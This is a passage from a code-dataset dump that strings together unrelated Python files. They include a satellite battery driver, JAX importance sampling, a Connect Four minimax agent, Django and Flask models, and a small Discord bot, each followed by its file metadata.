EMPTY RESPONSE FROM EPS\")\n return reply\n\n def Batt_Voltage(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x80], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n result = 0.008993 * Num\n if self.debug == 1:\n print('Battery Output Voltage: ' + str(result))\n return result\n\n def Batt_Current(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x84], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n result = 14.662757 * Num\n if self.debug == 1:\n print('Battery Output Current: ' + str(result))\n return result\n\n def Batt_Charging(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x8E], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n if Num < 512:\n charging = 1\n if self.debug == 1:\n print('Battery is charging')\n else:\n charging = 0\n if self.debug == 1:\n print('Battery is discharging')\n return charging\n\n def Current_5v(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x14], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n result = 1.327547 * Num\n if self.debug == 1:\n print('5v Bus Current draw: ' + str(result))\n return result\n\n def Voltage_5v(self): # input BCR number 1-9\n rsp = self.send_command([0x10, 0xE2, 0x10], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n result = .005865 * Num\n if self.debug == 1:\n print('5v Bus Voltage: ' + str(result))\n return result\n\n def Current_3v3(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x04], 2)\n Num = (rsp[0] * 16 * 16) | rsp[1]\n result = 1.327547 * Num\n if self.debug == 1:\n print('3v3 Bus Current draw: ' + str(result))\n return result\n\n def Voltage_3v3(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x00], 2)\n Num = (rsp[0] * 16 * 16) | rsp[1]\n result = .004311 * Num\n if self.debug == 1:\n print('3v3 Bus Voltage: ' + str(result))\n return result\n\n def Motherboard_Temp(self): # input BCR number 1-9\n rsp = self.send_command([0x10,0xE2,0x08], 2)\n Num = (rsp[0] * 16 * 16) | rsp[1]\n result = 0.372434 * Num - 273.15\n if self.debug == 1:\n print('Motherboard Temperature: ' + str(result))\n return result\n\n def Daughterboard_Temp(self, board_num): # input BCR number 1-9\n if board_num > 0 and board_num < 5:\n cmd = (board_num * 16)+0x88\n rsp = self.send_command([0x10,0xE3,cmd], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n result = .3976*Num - 238.57\n if self.debug == 1:\n print(\"Daughterboard #\" + str(board_num) + \" temperature: \" + str(result))\n return result\n else:\n return -1\n\n def Daughterboard_Heater(self, board_num): # input BCR number 1-9\n if board_num > 0 and board_num < 5:\n cmd = (board_num * 16)+0x8F\n rsp = self.send_command([0x10,0xE3,cmd], 2)\n Num = (rsp[0]*16*16) | rsp[1]\n if Num < 512:\n Heater = 0\n if self.debug == 1:\n print(\"Daughterboard #\" + str(board_num) +\" Heater is off\")\n else:\n Heater = 1\n if self.debug == 1:\n print(\"Daughterboard #\" + str(board_num) +\" Heater is on\")\n return Heater\n else:\n return -1","sub_path":"MULE/working_final/No_Deploy/battery_driver.py","file_name":"battery_driver.py","file_ext":"py","file_size_in_byte":4426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"58199312","text":"import math\n\nN, M = map(int, input().split())\nAs = list(map(int, input().split()))\nAs.append(N + 1)\nAs.append(0)\nAs = sorted(As)\n\ndiff = []\nfor i in range(1, len(As)):\n d = As[i] - As[i-1] - 1\n if d == 0:\n continue\n diff.append(d)\nif len(diff) == 0:\n print(0)\n exit(0)\n\nmin_diff = min(diff)\ntotal = sum([math.ceil(d / min_diff) for d in diff])\nprint(total)\n","sub_path":"abc/185D.py","file_name":"185D.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"213997828","text":"import jax\nimport jax.numpy as np\nfrom jax import random, jit\nimport matplotlib.pyplot as plt\nfrom jax.scipy.stats import norm\nimport pickle as pkl\nimport numpy as onp\nfrom scipy.stats import norm as onorm\nfrom jax.experimental.optimizers import adam\nimport argparse\n\n\nclass MSC:\n def __init__(self, seed, n_latent):\n self.seed = seed\n self.key = random.PRNGKey(seed)\n self.n_latent = n_latent\n self.step_size = 0.01\n self.opt_init, self.opt_update, self.get_params = adam(self.step_size)\n\n # Wrapper function\n def sample_from_normal(self, shape):\n if type(shape) == int:\n shape = (shape,)\n self.key, subkey = random.split(self.key)\n return random.normal(subkey, shape=shape)\n\n def init_params(self, random_init):\n if random_init:\n return self.sample_from_normal(shape=self.n_latent), self.sample_from_normal(shape=self.n_latent)\n return 0.1 * self.sample_from_normal(shape=self.n_latent), 0.5 + 0.1 * self.sample_from_normal(\n shape=self.n_latent)\n\n # Sample examples from proposal. Shape of output : (n_latent, n_samples)\n def sample_from_proposal(self, mu, log_sigma, n_samples):\n noise = self.sample_from_normal(shape=(self.n_latent, n_samples))\n return mu.reshape(-1, 1) + np.exp(log_sigma).reshape(-1, 1) * noise\n\n # Randomly sample 1..N according to weights\n def sample_according_to_weights(self, weights):\n self.key, subkey = random.split(self.key)\n x = random.uniform(subkey)\n bins = np.cumsum(weights)\n return np.digitize(x, bins)\n\n # Log of the prior: log P(z) where P(z) ~ N(0,1)\n def log_prior(self, z):\n return np.sum(norm.logpdf(z), axis=0)\n\n # Log of proposal distribution\n def log_proposal(self, z, mu, log_sigma):\n sigma = np.exp(log_sigma)\n return np.sum(norm.logpdf(z, loc=mu.reshape(-1, 1), scale=sigma.reshape(-1, 1)), axis=0)\n\n # Log of the likelihood: log P(y|x, z)\n # SF : Survival Function = 1-CDF\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.norm.html\n def log_likelihood(self, y, x, z):\n return np.sum(y * norm.logcdf(np.dot(x, z)) + (1 - y) * onorm.logsf(np.dot(x, z)), axis=0)\n\n # Conditional Importance Sampling\n def cis(self, mu, log_sigma, z_old, n_samples, x, y):\n # Sample n examples and replace the first example using z_old\n z = self.sample_from_proposal(mu, log_sigma, n_samples)\n # Replace the first sample of every latent variable with the conditional sample\n if z_old is not None:\n z = jax.ops.index_update(z, jax.ops.index[:, 0], z_old)\n\n # Compute importance weights : w = p(z) p(y|z,x)/q(z)\n # Size of log_w : (n_latent, 1)\n log_w = self.log_prior(z) + self.log_likelihood(y, x, z) - self.log_proposal(z, mu, log_sigma)\n max_log_w = np.max(log_w)\n shifted_w = np.exp(log_w - max_log_w)\n importance_weights = shifted_w / np.sum(shifted_w)\n\n if z_old is not None:\n # Sample next conditional sample\n j = self.sample_according_to_weights(importance_weights)\n return z, z[:, j], importance_weights\n else:\n return z, None, importance_weights\n\n def objective(self, importance_weights, z, mu, log_sigma):\n return -np.sum(importance_weights * self.log_proposal(z, mu, log_sigma))\n\n # # https://jax.readthedocs.io/en/latest/jax.experimental.optimizers.html\n def step(self, step, mu, log_sigma, importance_weights, z, opt_state):\n # Differentiate wrt 3rd and 4th parameter\n gradient = self.derivative_of_objective()(importance_weights, z, mu, log_sigma)\n opt_state = self.opt_update(step, gradient, opt_state)\n return opt_state, self.get_params(opt_state)\n\n def derivative_of_objective(self):\n return jax.jit(jax.grad(self.objective, (2, 3)))\n\n def init_conditional_sample(self, cis=True, random_init=False):\n if not cis:\n return None\n if random_init:\n return self.sample_from_normal(shape=self.n_latent)\n return 0.1 * self.sample_from_normal(shape=self.n_latent)\n\n def approximate(self, train_x, train_y, n_samples=10, n_iterations=1000, log_frequency=500, cis=False,\n random_init=True):\n conditional_sample = self.init_conditional_sample(cis, random_init)\n mu, log_sigma = self.init_params(random_init)\n opt_state = self.opt_init((mu, log_sigma))\n mu_ = []\n log_sigma_ = []\n for k in range(n_iterations):\n z, conditional_sample, importance_weights = self.cis(mu, log_sigma, conditional_sample, n_samples, train_x,\n train_y)\n # Compute derivative wrt mu and log_sigma\n # opt_state, value = self.step(k, opt_state, opt_update, importance_weights, z)\n opt_state, (mu, log_sigma) = self.step(k, mu, log_sigma, importance_weights, z, opt_state)\n mu_.append(mu)\n log_sigma_.append(log_sigma)\n if k % log_frequency == 0:\n value = self.objective(importance_weights, z, mu, log_sigma)\n print(f\"Iteration: {k}, Objective Value : {value}\")\n\n return mu, log_sigma, mu_, log_sigma_\n\n\ndef train_test_split(features_data, target_data, test_percentage=0.1):\n n_examples = features_data.shape[0]\n n_test = int(n_examples * test_percentage)\n\n permuted_indices = onp.random.permutation(n_examples)\n test_indices = permuted_indices[:n_test]\n train_indices = permuted_indices[n_test:]\n\n train_x = features_data[train_indices]\n train_y = target_data[train_indices]\n\n test_x = features_data[test_indices]\n test_y = target_data[test_indices]\n\n return (train_x, train_y), (test_x, test_y)\n\n\n# https://rpubs.com/cakapourani/variational-bayes-bpr\ndef evaluate(x, y, mu, variance):\n predictive_prob = norm.cdf(np.dot(x, mu) / np.sqrt(1 + np.sum(np.dot(x, variance) * x, axis=1)))\n prediction = (predictive_prob > 0.5).astype('float').reshape(-1, 1)\n test_error = 1 - np.sum(prediction == y) / len(y)\n return test_error\n\ndef main(args):\n\n # Read in the data\n features_data = onp.loadtxt(args.file_path, delimiter=',', usecols=range(0, 34))\n features_data = onp.insert(features_data, 0, 1, axis=1)\n target_data = onp.loadtxt(args.file_path, delimiter=',', usecols=34, dtype='str')\n target_data = (target_data == 'g').astype('float').reshape(-1, 1)\n\n n_latent = features_data.shape[1]\n\n conditional_importance_sampling = args.cis.lower() == \"true\"\n random_init = args.random_init.lower() == \"true\"\n\n print(f\"Arguments: {args}, CIS: {conditional_importance_sampling}, Random Init: {random_init}\")\n\n for i in range(args.n_experiments):\n # Train and test split\n (train_x, train_y), (test_x, test_y) = train_test_split(features_data, target_data)\n msc = MSC(seed=args.seed, n_latent=n_latent)\n mu, log_sigma, mu_history, log_sigma_history = msc.approximate(train_x, train_y, n_samples=args.n_samples, n_iterations = args.n_iterations, cis=conditional_importance_sampling, random_init=random_init)\n mu_opt = np.mean(np.array(mu_history[-150:]), axis = 0)\n var_opt = np.diag(np.mean(np.exp(2 * np.array(log_sigma_history[-150:])), axis=0))\n test_error = evaluate(test_x, test_y, mu_opt, var_opt)\n print(f\"Test error: {test_error}\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('--file_path', type=str, help='Path of data file')\n parser.add_argument('--n_samples', type=int, help='Number of samples to sample from proposal', default=10)\n parser.add_argument('--n_iterations', type=int, help='Number of gradient steps to run', default=10000)\n parser.add_argument('--n_experiments', type=int, help='Number of times to run the experiment', default=10)\n parser.add_argument('--seed', type=int, help='Seed RNG', default=42)\n parser.add_argument('--cis', type=str, help='Whether to run conditional IS or IS', default=\"true\")\n parser.add_argument('--random_init', type=str, help='Whether to run with random initialization or initialization in paper', default=\"true\")\n args = parser.parse_args()\n main(args)\n","sub_path":"src/ionos.py","file_name":"ionos.py","file_ext":"py","file_size_in_byte":8363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"1431958","text":"from scipy.interpolate import RectBivariateSpline\r\nimport numpy as np\r\n\r\ndef minimal_path(travel_time, starting_point, dx, boundary, steps, N=100):\r\n \"\"\"\r\n Find the optimal path from starting_point to the zero contour\r\n of travel_time.\r\n\r\n Solve the equation x_t = - grad t / | grad t |\r\n\r\n travel_time is the travel time for each point of image from the trial point (zero contour)\r\n dx is the grid spacing\r\n N is the maximum travel time\r\n\r\n \"\"\"\r\n grad_t_y, grad_t_x = np.gradient(travel_time, dx)\r\n\r\n if isinstance(travel_time, np.ma.MaskedArray):\r\n grad_t_y[grad_t_y.mask] = 0.0\r\n grad_t_y = grad_t_y.data\r\n\r\n grad_t_x[grad_t_x.mask] = 0.0\r\n grad_t_x = grad_t_x.data\r\n\r\n # h, w = travel_time.shape\r\n # coords_x, coords_y = np.arange(boundary[0], boundary[2], (boundary[2]-boundary[0])/steps), \\\r\n # np.arange(boundary[1], boundary[3], (boundary[3]-boundary[1])/steps)\r\n coords_x, coords_y = np.linspace(boundary[0], boundary[2], steps), \\\r\n np.linspace(boundary[1], boundary[3], steps)\r\n\r\n gradx_interp = RectBivariateSpline(coords_y, coords_x, grad_t_x)\r\n grady_interp = RectBivariateSpline(coords_y, coords_x, grad_t_y)\r\n\r\n def get_velocity(position):\r\n \"\"\"Returns normalized velocity at the position\"\"\"\r\n x, y = position\r\n vel = np.array([gradx_interp(y, x)[0][0],\r\n grady_interp(y, x)[0][0]])\r\n\r\n return vel / np.linalg.norm(vel)\r\n\r\n def euler_point_update(pos, ds):\r\n return pos - get_velocity(pos) * ds\r\n\r\n def runge_kutta(pos, ds):\r\n \"\"\"Fourth order Runge Kutta point update\"\"\"\r\n k1 = ds * get_velocity(pos)\r\n k2 = ds * get_velocity(pos - k1 / 2.0)\r\n k3 = ds * get_velocity(pos - k2 / 2.0)\r\n k4 = ds * get_velocity(pos - k3)\r\n\r\n return pos - (k1 + 2 * k2 + 2 * k3 + k4) / 6.0\r\n\r\n p = runge_kutta(starting_point, dx)\r\n\r\n px, py = [p[0]], [p[1]]\r\n\r\n for i in range(N):\r\n px.append(p[0])\r\n py.append(p[1])\r\n p = runge_kutta(p, dx)\r\n # x = euler_point_update(x, dx)\r\n\r\n return px, py","sub_path":"Source/source/utilities/gradient.py","file_name":"gradient.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"259364497","text":"import sys\n\nfrom datetime import timedelta, datetime\nfrom django.db.models import F\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom helpim.conversations.models import Conversation, Message\n\nclass Command(BaseCommand):\n def handle(self, days_to_keep, **options):\n try:\n days_to_keep = int(days_to_keep)\n except ValueError:\n print >> sys.stderr, \"days_to_keep: must be a number\"\n print >> sys.stderr, \"Usage: ./manage.py prune_conversations [days_to_keep]\"\n sys.exit(1)\n\n up_for_deletion = datetime.utcnow() - timedelta(days=days_to_keep)\n\n print >> sys.stderr, \"Deleting everything before\", up_for_deletion, \".. \\nthat is\",\n\n conversations = Conversation.objects.filter(start_time__lt=up_for_deletion)\n\n messages = Message.objects.filter(conversation__in=conversations)\n\n print >> sys.stderr, (\n \"%d conversations, that is %d messages ..\" % (\n conversations.count(),\n messages.count(),\n )),\n\n messages.delete()\n\n print >> sys.stderr, \"done.\"\n\n","sub_path":"helpim/conversations/management/commands/prune_conversations.py","file_name":"prune_conversations.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"192747681","text":"import discord\nimport json\n\nclient = discord.Client()\ntoken = ''\n\nwith open('meta.json', 'r') as f:\n\tdat = json.load(f)\n\ttoken = dat['token']\n\n@client.event\nasync def on_ready():\n\tprint('We have logged in as {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n\tif message.author == client.user:\n\t\treturn\n\n\tif message.content.lower() == 'hello!':\n\t\tawait message.channel.send('Hello!')\n\n\tif message.content.lower() == 'deep and dreamless slumber':\n\t\tawait message.channel.send('Signing off...')\n\t\tawait logout()\n\n\t# if status == True\n\nclient.run(token)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"28820995","text":"import time\nfrom datetime import datetime\n\nfrom app import db, logger\nfrom sqlalchemy import and_\nfrom sqlalchemy.sql.expression import desc\nfrom sqlalchemy.orm import relationship\n\nfrom ..table.car import CarTable\nfrom ..table.load import LoadTable\nfrom ..model.load import LoadModel\n\n\nclass CarModel(CarTable):\n loads = relationship('LoadModel', backref='car')\n\n @classmethod\n def from_dict(cls, dict_, with_children=False):\n \"\"\"It restores an object from the dictionary. @tested\"\"\"\n model_dict = dict(\n user_id=dict_['user_id'],\n name=dict_['name'],\n created=dict_['created']\n )\n car = cls.create(**model_dict)\n if with_children:\n for load_dict in dict_['loads']:\n load_dict_ = load_dict.copy()\n load_dict_['car_id'] = car.id\n LoadModel.from_dict(load_dict_)\n\n return car\n\n def to_dict(self, children=False):\n \"\"\"It converts the model to the public dictionary. @tested\"\"\"\n model_dict = dict(\n id=self.id,\n user_id=self.user_id,\n name=self.name,\n created=time.mktime(self.created.timetuple()),\n updated=time.mktime(self.updated.timetuple())\n )\n\n if children is True:\n model_dict['loads'] = list()\n for load in self.loads:\n if load.deleted:\n continue\n model_dict['loads'].append(load.to_dict())\n\n return model_dict\n\n @staticmethod\n def delete_by_id(id_):\n \"\"\"It deletes a Car by his id. @tested\"\"\"\n logger.info(' is deleted.' % id_)\n CarModel.query.filter(CarModel.id == id_).delete()\n db.session.commit()\n\n @staticmethod\n def load_by_id(id_):\n \"\"\"It loads a Car by his id. @tested\"\"\"\n return CarModel.query.filter(CarModel.id == id_).first()\n\n @staticmethod\n def get_item_by_id__user_id(id_, user_id):\n \"\"\"It loads a Car by his id. It also checks the secure relations. @tested\"\"\"\n return CarModel.query.filter(and_(CarTable.id == id_, CarTable.user_id == user_id)).first()\n\n @staticmethod\n def get_list_by_user_id(user_id, limit=20, offset=0):\n \"\"\"It loads an object by id. @tested\"\"\"\n return CarModel.query\\\n .filter(and_(CarTable.user_id == user_id, CarTable.deleted == 0))\\\n .order_by(desc(CarTable.created))\\\n .limit(limit)\\\n .offset(offset)\\\n .all()\n\n @staticmethod\n def create(name, user_id, created=None):\n \"\"\"It creates a car. @tested\"\"\"\n car = CarModel(name, user_id)\n if isinstance(created, datetime):\n car.created = created\n\n db.session.add(car)\n db.session.commit()\n logger.info('%s is created.' % car)\n return car\n\n @staticmethod\n def update(user_id, car_id, name):\n \"\"\"It updates a car. @tested\"\"\"\n car = CarModel.query.filter(and_(CarModel.user_id == user_id, CarModel.id == car_id)).first()\n car.name = name\n\n db.session.add(car)\n db.session.commit()\n logger.info('%s is updated.' % car)\n\n return car\n\n @staticmethod\n def mark_deleted(user_id, car_id, deleted=True):\n \"\"\"It updates a car. @tested\"\"\"\n car = CarModel.query.filter(and_(CarModel.user_id == user_id, CarModel.id == car_id)).first()\n car.deleted = deleted\n\n db.session.add(car)\n logger.info('%s is marked deleted.' % car)\n\n LoadTable.query.filter(LoadTable.car_id == car_id) \\\n .update(dict(deleted=deleted))\n db.session.commit()\n\n return car\n","sub_path":"flask/ext/budget/model/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"279146634","text":"import heapq\n\ndef MaxHeapHeapify(arr):\n\theapq._heapify_max(arr)\n\treturn arr\n\n\ndef MaxHeapPush(arr, item):\n\tarr.append(item)\n\theapq._siftdown_max(arr, 0, len(arr) - 1)\n\treturn arr\n\n\ndef MaxHeapDelete(arr, item):\n\tif arr[-1] == item: return arr[:-1]\n\n\tfor index, value in enumerate(arr):\n\t\tif value == item:\n\t\t\tleaf = arr.pop()\n\t\t\tarr[index] = leaf\n\n\t\t\tif item > leaf:\n\t\t\t\theapq._siftup_max(arr, index)\n\t\t\telse:\n\t\t\t\theapq._siftdown_max(arr, 0, index)\n\n\treturn arr\n\n\ndef main():\n\tarr = [1, 2, 3]\n\tprint(MaxHeapHeapify(arr))\n\tprint(MaxHeapPush(arr, 4))\n\tprint(MaxHeapDelete(arr, 4))\n\n\nif __name__ == \"__main__\":\n\tmain()\n\t","sub_path":"数据结构/MaxHeap (including delete).py","file_name":"MaxHeap (including delete).py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"177602222","text":"import copy\nimport time\nimport abc\nimport random\n\n\nclass Game(object):\n \"\"\"A connect four game.\"\"\"\n\n def __init__(self, grid):\n \"\"\"Instances differ by their board.\"\"\"\n self.grid = copy.deepcopy(grid) # No aliasing!\n\n def display(self):\n \"\"\"Print the game board.\"\"\"\n for row in self.grid:\n for mark in row:\n print(mark, end='')\n print()\n print()\n\n def possible_moves(self):\n \"\"\"Return a list of possible moves given the current board.\"\"\"\n possible_moves = list()\n\n for i in range(8):\n if self.grid[0][i] == '-':\n possible_moves.append(i)\n\n return possible_moves\n\n def neighbor(self, col, color):\n \"\"\"Return a Game instance like this one but with a move made into the specified column.\"\"\"\n tmp_grid = copy.deepcopy(self)\n\n for i in range(7, -1, -1):\n if tmp_grid.grid[i][col] == '-':\n tmp_grid.grid[i][col] = color\n return tmp_grid\n\n def utility(self):\n \"\"\"Return the minimax utility value of this game\"\"\"\n h = 0\n tmp_board = copy.deepcopy(self.grid)\n \n for i in range(0, 8):\n for j in range(0, 8):\n # Checks score horizontally\n try:\n if tmp_board[i][j] == tmp_board[i + 1][j] == 'R':\n h += 10\n if tmp_board[i][j] == tmp_board[i + 1][j] == tmp_board[i + 2][j] == 'R':\n h += 100\n if tmp_board[i][j] == tmp_board[i + 1][j] == tmp_board[i + 2][j] == tmp_board[i + 3][j] == 'R':\n h += 10000\n\n if tmp_board[i][j] == tmp_board[i + 1][j] == 'B':\n h -= 10\n if tmp_board[i][j] == tmp_board[i + 1][j] == tmp_board[i + 2][j] == 'B':\n h -= 100\n if tmp_board[i][j] == tmp_board[i + 1][j] == tmp_board[i + 2][j] == tmp_board[i + 3][j] == 'B':\n h -= 10000\n except IndexError:\n pass\n # Checks score vertically\n try:\n if tmp_board[i][j] == tmp_board[i][j + 1] == 'R':\n h += 10\n if tmp_board[i][j] == tmp_board[i][j + 1] == tmp_board[i][j + 2] == 'R':\n h += 100\n if tmp_board[i][j] == tmp_board[i][j + 1] == tmp_board[i][j + 2] == tmp_board[i][j + 3] == 'R':\n h += 10000\n\n if tmp_board[i][j] == tmp_board[i][j + 1] == 'B':\n h -= 10\n if tmp_board[i][j] == tmp_board[i][j + 1] == tmp_board[i][j + 2] == 'B':\n h -= 100\n if tmp_board[i][j] == tmp_board[i][j + 1] == tmp_board[i][j + 2] == tmp_board[i][j + 3] == 'B':\n h -= 10000\n except IndexError:\n pass\n # Checks score positive diagonally\n try:\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == 'R':\n h += 100\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == tmp_board[i + 2][j + 2] == 'R':\n h += 100\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == tmp_board[i + 2][j + 2] \\\n == tmp_board[i + 3][j + 3] == 'R':\n h += 10000\n\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == 'B':\n h -= 100\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == tmp_board[i + 2][j + 2] == 'B':\n h -= 100\n if not j + 3 > 8 and tmp_board[i][j] == tmp_board[i + 1][j + 1] == tmp_board[i + 2][j + 2] \\\n == tmp_board[i + 3][j + 3] == 'B':\n h -= 10000\n except IndexError:\n pass\n # Checks score negative diagonally\n try:\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == 'R':\n h += 10\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == tmp_board[i + 2][j - 2] == 'R':\n h += 100\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == tmp_board[i + 2][j - 2] \\\n == tmp_board[i + 3][j - 3] == 'R':\n h += 10000\n\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == 'B':\n h -= 10\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == tmp_board[i + 2][j - 2] == 'B':\n h -= 100\n if not j - 3 < 0 and tmp_board[i][j] == tmp_board[i + 1][j - 1] == tmp_board[i + 2][j - 2] \\\n == tmp_board[i + 3][j - 3] == 'B':\n h -= 10000\n except IndexError:\n pass\n return h\n\n def winning_state(self):\n \"\"\"Returns float(\"inf\") if Red wins; float(\"-inf\") if Black wins;\n 0 if board full; None if not full and no winner\"\"\"\n colors = ('R', 'B')\n\n for color in colors:\n # Checks horizontally for win\n for c in range(8 - 3):\n for r in range(8):\n if self.grid[r][c] == color and self.grid[r][c + 1] == color and self.grid[r][c + 2] == color \\\n and self.grid[r][c + 3] == color:\n if color == 'R':\n return float(\"inf\")\n else:\n return float(\"-inf\")\n # Checks vertically for win\n for c in range(8):\n for r in range(8 - 3):\n if self.grid[r][c] == color and self.grid[r + 1][c] == color and self.grid[r + 2][c] == color \\\n and self.grid[r + 3][c] == color:\n if color == 'R':\n return float(\"inf\")\n else:\n return float(\"-inf\")\n # Checks positive diagonal for win\n for c in range(8 - 3):\n for r in range(8 - 3):\n if self.grid[r][c] == color and self.grid[r + 1][c + 1] == color and self.grid[r + 2][c + 2] \\\n == color and self.grid[r + 3][c + 3] == color:\n if color == 'R':\n return float(\"inf\")\n else:\n return float(\"-inf\")\n # Checks negative diagonal for win\n for c in range(8 - 3):\n for r in range(3, 8):\n if self.grid[r][c] == color and self.grid[r - 1][c + 1] == color and self.grid[r - 2][c + 2] \\\n == color and self.grid[r - 3][c + 3] == color:\n if color == 'R':\n return float(\"inf\")\n else:\n return float(\"-inf\")\n # Checks if board is full or not\n for i in range(8):\n if self.grid[0][i] == '-':\n return None\n else:\n return 0\n\n\nclass Agent(object):\n \"\"\"Abstract class, extended by classes RandomAgent, FirstMoveAgent, MinimaxAgent.\n Do not make an instance of this class.\"\"\"\n\n def __init__(self, color):\n \"\"\"Agents use either RED or BLACK chips.\"\"\"\n self.color = color\n\n @abc.abstractmethod\n def move(self, game):\n \"\"\"Abstract. Must be implemented by a class that extends Agent.\"\"\"\n pass\n\n\nclass RandomAgent(Agent):\n \"\"\"Naive agent -- always performs a random move\"\"\"\n\n def move(self, game):\n \"\"\"Returns a random move\"\"\"\n possible_moves = game.possible_moves()\n move = random.choice(possible_moves)\n return move\n\n\nclass FirstMoveAgent(Agent):\n \"\"\"Naive agent -- always performs the first move\"\"\"\n\n def move(self, game):\n \"\"\"Returns the first possible move\"\"\"\n possible_moves = game.possible_moves()\n return possible_moves(0)\n\n\nclass MinimaxAgent(Agent):\n \"\"\"Smart agent -- uses minimax to determine the best move\"\"\"\n\n def move(self, game):\n \"\"\"Returns the best move using minimax\"\"\"\n best_val = float(\"-inf\")\n best_move = -1\n\n moves = game.possible_moves()\n\n for move in moves:\n tmp_game = game.neighbor(move, 'R')\n\n move_val = self.minimax(tmp_game, 2, False)\n\n if move_val > best_val:\n best_move = move\n best_val = move_val\n\n return best_move\n\n def minimax(self, game, depth, max_player):\n # Using minimax algorith to recursively get Max's and Min's best moves\n state = game.winning_state()\n\n if state == float(\"inf\"):\n return state\n\n if state == float(\"-inf\"):\n return state\n\n if state == 0:\n return state\n\n if depth == 0:\n return game.utility()\n \n # Max Player\n if max_player:\n best = float(\"-inf\")\n moves = game.possible_moves()\n\n for move in moves:\n tmp_game = game.neighbor(move, 'R')\n best = max(best, self.minimax(tmp_game, depth - 1, False))\n\n return best\n\n # Min Player\n if not max_player:\n best = float(\"inf\")\n moves = game.possible_moves()\n\n for move in moves:\n tmp_game = game.neighbor(move, 'B')\n best = min(best, self.minimax(tmp_game, depth - 1, True))\n\n return best\n\n\ndef tournament(simulations=50):\n \"\"\"Simulate connect four games, of a minimax agent playing\n against a random agent\"\"\"\n\n redwin, blackwin, tie = 0, 0, 0\n for i in range(simulations):\n\n game = single_game(io=False)\n\n print(i, end=\" \")\n if game.winning_state() == float(\"inf\"):\n redwin += 1\n elif game.winning_state() == float(\"-inf\"):\n blackwin += 1\n elif game.winning_state() == 0:\n tie += 1\n\n print(\"Red %d (%.0f%%) Black %d (%.0f%%) Tie %d\" % (\n redwin, redwin / simulations * 100, blackwin, blackwin / simulations * 100, tie))\n\n return redwin / simulations\n\n\ndef single_game(io=True):\n \"\"\"Create a game and have two agents play it.\"\"\"\n\n game = Game([['-' for i in range(8)] for j in range(8)]) # 8x8 empty board\n if io:\n game.display()\n\n maxplayer = MinimaxAgent('R')\n minplayer = RandomAgent('B')\n\n while True:\n\n m = maxplayer.move(game)\n game = game.neighbor(m, maxplayer.color)\n if io:\n time.sleep(1)\n game.display()\n\n if game.winning_state() is not None:\n break\n\n m = minplayer.move(game)\n game = game.neighbor(m, minplayer.color)\n if io:\n time.sleep(1)\n game.display()\n\n if game.winning_state() is not None:\n break\n\n if game.winning_state() == float(\"inf\"):\n print(\"RED WINS!\")\n elif game.winning_state() == float(\"-inf\"):\n print(\"BLACK WINS!\")\n elif game.winning_state() == 0:\n print(\"TIE!\")\n\n return game\n\n\nif __name__ == '__main__':\n single_game(io=True)\n # tournament(simulations=50)\n","sub_path":"minimax_connectfour.py","file_name":"minimax_connectfour.py","file_ext":"py","file_size_in_byte":11637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"235371630","text":"#!/usr/bin/env python3\n\nimport json\nimport rospy\nfrom std_msgs.msg import String\nfrom interactivespaces_msgs.msg import GenericMessage\nfrom lg_common.helpers import run_with_influx_exception_handler\n\n\nQUERY_PLANET_EARTH = String('earth')\nQUERY_PLANET_MOON = String('moon')\nQUERY_PLANET_MARS = String('mars')\nNODE_NAME = 'planet_changer'\n\n\nclass PlanetChanger(object):\n def __init__(self, moon_presentations, mars_presentations, planet_pub):\n self.moon_presentations = moon_presentations\n self.mars_presentations = mars_presentations\n self.planet_pub = planet_pub\n\n def handle_presentation_msg(self, _msg):\n assert _msg.type == 'json'\n presentation = json.loads(_msg.message)\n pname = presentation['name']\n if pname in self.moon_presentations:\n self.planet_pub.publish(QUERY_PLANET_MOON)\n elif pname in self.mars_presentations:\n self.planet_pub.publish(QUERY_PLANET_MARS)\n else:\n 